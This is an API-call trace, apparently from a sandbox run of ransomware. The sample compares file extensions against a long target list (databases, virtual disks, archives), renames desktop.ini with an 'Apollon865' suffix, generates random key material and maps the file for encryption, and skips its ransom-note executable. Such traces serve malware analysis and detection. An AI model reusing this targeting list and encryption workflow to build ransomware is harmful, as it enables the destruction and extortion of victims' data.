	[0041.652] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0041.652] lstrlenW (lpString="vmdk") returned 4
	[0041.652] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0041.652] lstrlenW (lpString="rar") returned 3
	[0041.652] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0041.652] lstrlenW (lpString="zip") returned 3
	[0041.652] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0041.652] lstrlenW (lpString="tgz") returned 3
	[0041.652] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0041.652] lstrlenW (lpString="vbox") returned 4
	[0041.652] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0041.652] lstrlenW (lpString="vdi") returned 3
	[0041.652] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0041.652] lstrlenW (lpString="vhd") returned 3
	[0041.652] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0041.652] lstrlenW (lpString="vhdx") returned 4
	[0041.653] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0041.653] lstrlenW (lpString="avhd") returned 4
	[0041.653] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0041.653] lstrlenW (lpString="db") returned 2
	[0041.653] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0041.653] lstrlenW (lpString="db2") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0041.653] lstrlenW (lpString="db3") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0041.653] lstrlenW (lpString="dbf") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0041.653] lstrlenW (lpString="mdf") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0041.653] lstrlenW (lpString="mdb") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0041.653] lstrlenW (lpString="sql") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0041.653] lstrlenW (lpString="sqlite") returned 6
	[0041.653] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0041.653] lstrlenW (lpString="sqlite3") returned 7
	[0041.653] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0041.653] lstrlenW (lpString="sqlitedb") returned 8
	[0041.653] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0041.653] lstrlenW (lpString="xml") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0041.653] lstrlenW (lpString="$er") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0041.653] lstrlenW (lpString="4dd") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0041.653] lstrlenW (lpString="4dl") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0041.653] lstrlenW (lpString="^^^") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0041.653] lstrlenW (lpString="abs") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0041.653] lstrlenW (lpString="abx") returned 3
	[0041.653] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0041.654] lstrlenW (lpString="accdb") returned 5
	[0041.654] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0041.654] lstrlenW (lpString="accdc") returned 5
	[0041.654] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0041.654] lstrlenW (lpString="accde") returned 5
	[0041.654] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0041.654] lstrlenW (lpString="accdr") returned 5
	[0041.654] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0041.654] lstrlenW (lpString="accdt") returned 5
	[0041.654] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0041.654] lstrlenW (lpString="accdw") returned 5
	[0041.654] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0041.654] lstrlenW (lpString="accft") returned 5
	[0041.654] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0041.654] lstrlenW (lpString="adb") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0041.654] lstrlenW (lpString="adb") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0041.654] lstrlenW (lpString="ade") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0041.654] lstrlenW (lpString="adf") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0041.654] lstrlenW (lpString="adn") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0041.654] lstrlenW (lpString="adp") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0041.654] lstrlenW (lpString="alf") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0041.654] lstrlenW (lpString="ask") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0041.654] lstrlenW (lpString="btr") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0041.654] lstrlenW (lpString="cat") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0041.654] lstrlenW (lpString="cdb") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0041.654] lstrlenW (lpString="ckp") returned 3
	[0041.654] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0041.655] lstrlenW (lpString="cma") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0041.655] lstrlenW (lpString="cpd") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0041.655] lstrlenW (lpString="dacpac") returned 6
	[0041.655] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0041.655] lstrlenW (lpString="dad") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0041.655] lstrlenW (lpString="dadiagrams") returned 10
	[0041.655] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0041.655] lstrlenW (lpString="daschema") returned 8
	[0041.655] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0041.655] lstrlenW (lpString="db-journal") returned 10
	[0041.655] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0041.655] lstrlenW (lpString="db-shm") returned 6
	[0041.655] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0041.655] lstrlenW (lpString="db-wal") returned 6
	[0041.655] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0041.655] lstrlenW (lpString="dbc") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0041.655] lstrlenW (lpString="dbs") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0041.655] lstrlenW (lpString="dbt") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0041.655] lstrlenW (lpString="dbv") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0041.655] lstrlenW (lpString="dbx") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0041.655] lstrlenW (lpString="dcb") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0041.655] lstrlenW (lpString="dct") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0041.655] lstrlenW (lpString="dcx") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0041.655] lstrlenW (lpString="ddl") returned 3
	[0041.655] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0041.655] lstrlenW (lpString="dlis") returned 4
	[0041.655] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0041.655] lstrlenW (lpString="dp1") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0041.656] lstrlenW (lpString="dqy") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0041.656] lstrlenW (lpString="dsk") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0041.656] lstrlenW (lpString="dsn") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0041.656] lstrlenW (lpString="dtsx") returned 4
	[0041.656] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0041.656] lstrlenW (lpString="dxl") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0041.656] lstrlenW (lpString="eco") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0041.656] lstrlenW (lpString="ecx") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0041.656] lstrlenW (lpString="edb") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0041.656] lstrlenW (lpString="epim") returned 4
	[0041.656] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0041.656] lstrlenW (lpString="fcd") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0041.656] lstrlenW (lpString="fdb") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0041.656] lstrlenW (lpString="fic") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0041.656] lstrlenW (lpString="flexolibrary") returned 12
	[0041.656] lstrlenW (lpString="fm5") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0041.656] lstrlenW (lpString="fmp") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0041.656] lstrlenW (lpString="fmp12") returned 5
	[0041.656] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0041.656] lstrlenW (lpString="fmpsl") returned 5
	[0041.656] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0041.656] lstrlenW (lpString="fol") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0041.656] lstrlenW (lpString="fp3") returned 3
	[0041.656] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0041.657] lstrlenW (lpString="fp4") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0041.657] lstrlenW (lpString="fp5") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0041.657] lstrlenW (lpString="fp7") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0041.657] lstrlenW (lpString="fpt") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0041.657] lstrlenW (lpString="frm") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0041.657] lstrlenW (lpString="gdb") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0041.657] lstrlenW (lpString="gdb") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0041.657] lstrlenW (lpString="grdb") returned 4
	[0041.657] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0041.657] lstrlenW (lpString="gwi") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0041.657] lstrlenW (lpString="hdb") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0041.657] lstrlenW (lpString="his") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0041.657] lstrlenW (lpString="ib") returned 2
	[0041.657] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0041.657] lstrlenW (lpString="idb") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0041.657] lstrlenW (lpString="ihx") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0041.657] lstrlenW (lpString="itdb") returned 4
	[0041.657] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0041.657] lstrlenW (lpString="itw") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0041.657] lstrlenW (lpString="jet") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0041.657] lstrlenW (lpString="jtx") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0041.657] lstrlenW (lpString="kdb") returned 3
	[0041.657] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0041.658] lstrlenW (lpString="kexi") returned 4
	[0041.658] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0041.658] lstrlenW (lpString="kexic") returned 5
	[0041.658] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0041.658] lstrlenW (lpString="kexis") returned 5
	[0041.658] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0041.658] lstrlenW (lpString="lgc") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0041.658] lstrlenW (lpString="lwx") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0041.658] lstrlenW (lpString="maf") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0041.658] lstrlenW (lpString="maq") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0041.658] lstrlenW (lpString="mar") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0041.658] lstrlenW (lpString="marshal") returned 7
	[0041.658] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0041.658] lstrlenW (lpString="mas") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0041.658] lstrlenW (lpString="mav") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0041.658] lstrlenW (lpString="maw") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0041.658] lstrlenW (lpString="mdbhtml") returned 7
	[0041.658] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0041.658] lstrlenW (lpString="mdn") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0041.658] lstrlenW (lpString="mdt") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0041.658] lstrlenW (lpString="mfd") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0041.658] lstrlenW (lpString="mpd") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0041.658] lstrlenW (lpString="mrg") returned 3
	[0041.658] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0041.658] lstrlenW (lpString="mud") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0041.659] lstrlenW (lpString="mwb") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0041.659] lstrlenW (lpString="myd") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0041.659] lstrlenW (lpString="ndf") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0041.659] lstrlenW (lpString="nnt") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0041.659] lstrlenW (lpString="nrmlib") returned 6
	[0041.659] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0041.659] lstrlenW (lpString="ns2") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0041.659] lstrlenW (lpString="ns3") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0041.659] lstrlenW (lpString="ns4") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0041.659] lstrlenW (lpString="nsf") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0041.659] lstrlenW (lpString="nv") returned 2
	[0041.659] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0041.659] lstrlenW (lpString="nv2") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0041.659] lstrlenW (lpString="nwdb") returned 4
	[0041.659] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0041.659] lstrlenW (lpString="nyf") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0041.659] lstrlenW (lpString="odb") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0041.659] lstrlenW (lpString="odb") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0041.659] lstrlenW (lpString="oqy") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0041.659] lstrlenW (lpString="ora") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0041.659] lstrlenW (lpString="orx") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0041.659] lstrlenW (lpString="owc") returned 3
	[0041.659] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0041.660] lstrlenW (lpString="p96") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0041.660] lstrlenW (lpString="p97") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0041.660] lstrlenW (lpString="pan") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0041.660] lstrlenW (lpString="pdb") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0041.660] lstrlenW (lpString="pdm") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0041.660] lstrlenW (lpString="pnz") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0041.660] lstrlenW (lpString="qry") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0041.660] lstrlenW (lpString="qvd") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0041.660] lstrlenW (lpString="rbf") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0041.660] lstrlenW (lpString="rctd") returned 4
	[0041.660] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0041.660] lstrlenW (lpString="rod") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0041.660] lstrlenW (lpString="rodx") returned 4
	[0041.660] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0041.660] lstrlenW (lpString="rpd") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0041.660] lstrlenW (lpString="rsd") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0041.660] lstrlenW (lpString="sas7bdat") returned 8
	[0041.660] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0041.660] lstrlenW (lpString="sbf") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0041.660] lstrlenW (lpString="scx") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0041.660] lstrlenW (lpString="sdb") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0041.660] lstrlenW (lpString="sdc") returned 3
	[0041.660] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0041.660] lstrlenW (lpString="sdf") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0041.661] lstrlenW (lpString="sis") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0041.661] lstrlenW (lpString="spq") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0041.661] lstrlenW (lpString="te") returned 2
	[0041.661] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0041.661] lstrlenW (lpString="teacher") returned 7
	[0041.661] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0041.661] lstrlenW (lpString="tmd") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0041.661] lstrlenW (lpString="tps") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0041.661] lstrlenW (lpString="trc") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0041.661] lstrlenW (lpString="trc") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0041.661] lstrlenW (lpString="trm") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0041.661] lstrlenW (lpString="udb") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0041.661] lstrlenW (lpString="udl") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0041.661] lstrlenW (lpString="usr") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0041.661] lstrlenW (lpString="v12") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0041.661] lstrlenW (lpString="vis") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0041.661] lstrlenW (lpString="vpd") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0041.661] lstrlenW (lpString="vvv") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0041.661] lstrlenW (lpString="wdb") returned 3
	[0041.661] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0041.661] lstrlenW (lpString="wmdb") returned 4
	[0041.661] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0041.661] lstrlenW (lpString="wrk") returned 3
	[0041.662] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0041.662] lstrlenW (lpString="xdb") returned 3
	[0041.662] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0041.662] lstrlenW (lpString="xld") returned 3
	[0041.662] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0041.662] lstrlenW (lpString="xmlff") returned 5
	[0041.662] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0041.662] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Public\\Pictures\\desktop.ini.Apollon865") returned 47
	[0041.662] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Pictures\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\pictures\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0041.662] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\desktop.ini.Apollon865" (normalized: "c:\\users\\public\\pictures\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0041.662] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=380) returned 1
	[0041.662] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0041.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0041.663] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0041.663] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0041.664] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0041.664] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.664] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x480, lpName=0x0) returned 0x150
	[0041.668] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x480) returned 0x120000
	[0041.668] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0041.669] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0041.669] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0041.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0041.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0041.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0041.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0041.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0041.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0041.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599f60
	[0041.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0041.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0041.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0041.670] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0041.670] CloseHandle (hObject=0x150) returned 1
	[0041.670] CloseHandle (hObject=0x15c) returned 1
	[0041.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0041.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0041.671] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0041.671] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da1a730, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2da1a730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0041.671] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0041.671] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2da40890, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2da40890, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1
	[0041.671] lstrcmpiW (lpString1="Sample Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0041.671] lstrcmpiW (lpString1="Sample Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0041.671] lstrcmpiW (lpString1="Sample Pictures", lpString2=".") returned 1
	[0041.671] lstrcmpiW (lpString1="Sample Pictures", lpString2="..") returned 1
